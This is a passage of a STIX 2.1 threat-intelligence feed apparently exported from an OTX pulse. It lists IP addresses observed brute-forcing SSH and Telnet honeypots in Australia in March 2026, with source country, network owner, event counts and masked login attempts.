      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Heralding. Target ports: 5900. Source country: UA. ASN(s): 208949. Organisation(s): Hbing Limited. Passwords observed (masked): p******d, 1******8, 1****1, 1****3, 1****6.",
      "id": "indicator--1bcc3664-41d9-42a6-b60e-e69f6e87d993",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.211.191.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:15:17.000Z",
      "valid_until": "2026-04-19T02:15:12.000Z"
    },
    {
      "created": "2026-03-18T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 271. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45775. Organisation(s): WISH NET PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4, x**y, a***a, d***m. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, A******!.",
      "id": "indicator--3fcf1d52-641e-475b-94f5-1c98a99456b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.123.110.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:15:17.000Z",
      "valid_until": "2026-04-19T02:15:12.000Z"
    },
    {
      "created": "2026-03-18T02:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U******************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:15:17.000Z",
      "valid_until": "2026-04-19T02:15:12.000Z"
    },
    {
      "created": "2026-03-18T02:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--41fc959d-6fd9-4c55-bbea-6547ad13b462",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T02:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.23.77.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:15:17.000Z",
      "valid_until": "2026-04-19T02:15:12.000Z"
    },
    {
      "created": "2026-03-18T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135951. Organisation(s): Webico Company Limited.",
      "id": "indicator--a0887600-d43a-4d18-bc33-c28c38adfad5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.177.110.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:15:03.000Z",
      "valid_until": "2026-04-19T03:15:01.000Z"
    },
    {
      "created": "2026-03-18T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--73c28dab-c7bb-48d7-ac41-9b61f1f79cfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.157.240.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:15:03.000Z",
      "valid_until": "2026-04-19T03:15:01.000Z"
    },
    {
      "created": "2026-03-18T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--cf218bf4-4708-4710-8b8b-cdcec4c3d093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.98.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:15:03.000Z",
      "valid_until": "2026-04-19T03:15:01.000Z"
    },
    {
      "created": "2026-03-18T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bef4c53a-2b69-4e9b-be85-ba19c2837a7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.134.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:15:03.000Z",
      "valid_until": "2026-04-19T03:15:01.000Z"
    },
    {
      "created": "2026-03-18T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--59c99aeb-d8e4-43c1-8f4e-edb0a84569df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.93.160.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:15:03.000Z",
      "valid_until": "2026-04-19T03:15:01.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 55736. Organisation(s): Dataknox Pty Limited.",
      "id": "indicator--168e0427-5501-4904-9841-8468de9698e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.164.128.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--26585b4b-7b11-4a56-8284-e554529bee0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.193.10.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 137552. Organisation(s): Terabix. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--25b420ef-c374-4563-99a5-2f856da6e77e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.30.4.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263774. Organisation(s): MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO.",
      "id": "indicator--9c3e3ba8-e2cd-4010-a2ab-25febee016a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.83.126.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a6a170ee-9931-46f2-95a4-40c0382b36e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 201579. Organisation(s): Hostgnome Ltd.",
      "id": "indicator--56b60d0c-e779-482c-976c-711287847aad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.91.69.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--f8e29d3e-2647-4f55-bbb5-263cefb096f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.0.162.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--c3c47010-fa7f-464a-a364-3da2f7ee658f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.26.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--348b6c3d-04db-4494-ac9e-99fc2b28c329",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.141.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:15:14.000Z",
      "valid_until": "2026-04-19T04:15:12.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): c****n, c***l, e****n, j*****a, u********y. Passwords observed (masked): 1**4, ***, 1******8, C********!, p******d.",
      "id": "indicator--7d0f0853-5efa-49f7-b939-76ef32d34112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.144.2.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 63835. Organisation(s): No.293,Wanbao Avenue. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--7698d611-efcf-47f1-af49-0353675bf23b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.219.245.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--291c40f9-b293-4e07-b4e3-634881b9681d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.199.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 56382. Organisation(s): vServer.site LTD. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--18078ebc-272f-4376-92d4-119e3e0184f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.244.27.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--897fe569-f9d1-400b-b0ae-2e35791bf228",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--1c1a8edd-9909-4bc3-acfa-6e8e6dbe2801",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.42.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): s******r, 3**********4, d***d, m****l, m**g. Passwords observed (masked): 1****6, 3***********4, 3**********4, M*****3, P******d.",
      "id": "indicator--94c3db39-9d38-42dc-bf4e-72b60d103fc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.153.102.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***b, a******r, k****n. Passwords observed (masked): 1**4, 3***********4, A*******!, a**********s.",
      "id": "indicator--10a9e642-cb52-44aa-8f96-1c3318390fe0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.64.85.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): g********n, 3**********4, ***, c**y, k**i. Passwords observed (masked): 1**4, 1******8, ***, 1***5, 3***********4.",
      "id": "indicator--cd1ec3b7-56ea-43db-a370-592015da0fbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.6.228.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway S.a.s..",
      "id": "indicator--9c2acf61-8fd9-4ef1-850b-c52f0be3199b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.158.205.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--ddbb105a-c904-47f8-9af1-f8fa6ea56f66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.82.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--619b99ca-4847-4465-99f9-59e6eff1e5d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.224.192.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:15:14.000Z",
      "valid_until": "2026-04-19T05:15:11.000Z"
    },
    {
      "created": "2026-03-18T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--61773a13-dda2-470c-ac77-08307ea2bcb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.71.37.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T06:15:08.000Z",
      "valid_until": "2026-04-19T06:15:05.000Z"
    },
    {
      "created": "2026-03-18T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--fed3a8d0-5eda-49bd-9e85-c9fb63f1cdc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.254.120.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T06:15:08.000Z",
      "valid_until": "2026-04-19T06:15:05.000Z"
    },
    {
      "created": "2026-03-18T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 216246. Organisation(s): Aeza Group LLC.",
      "id": "indicator--e37b7e20-bf5f-4320-8b7e-da9ee4761146",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.124.222.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T06:15:08.000Z",
      "valid_until": "2026-04-19T06:15:05.000Z"
    },
    {
      "created": "2026-03-18T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--f269cd37-229f-43a4-81c3-2f086592a41e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '218.154.181.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T06:15:08.000Z",
      "valid_until": "2026-04-19T06:15:05.000Z"
    },
    {
      "created": "2026-03-18T07:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--f28897c2-3499-4767-8220-f58b4cb2d5e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T07:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '153.166.67.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:15:08.000Z",
      "valid_until": "2026-04-19T07:15:05.000Z"
    },
    {
      "created": "2026-03-18T07:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--59e00fff-6da9-4d06-9fcb-289d50796366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-18T07:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
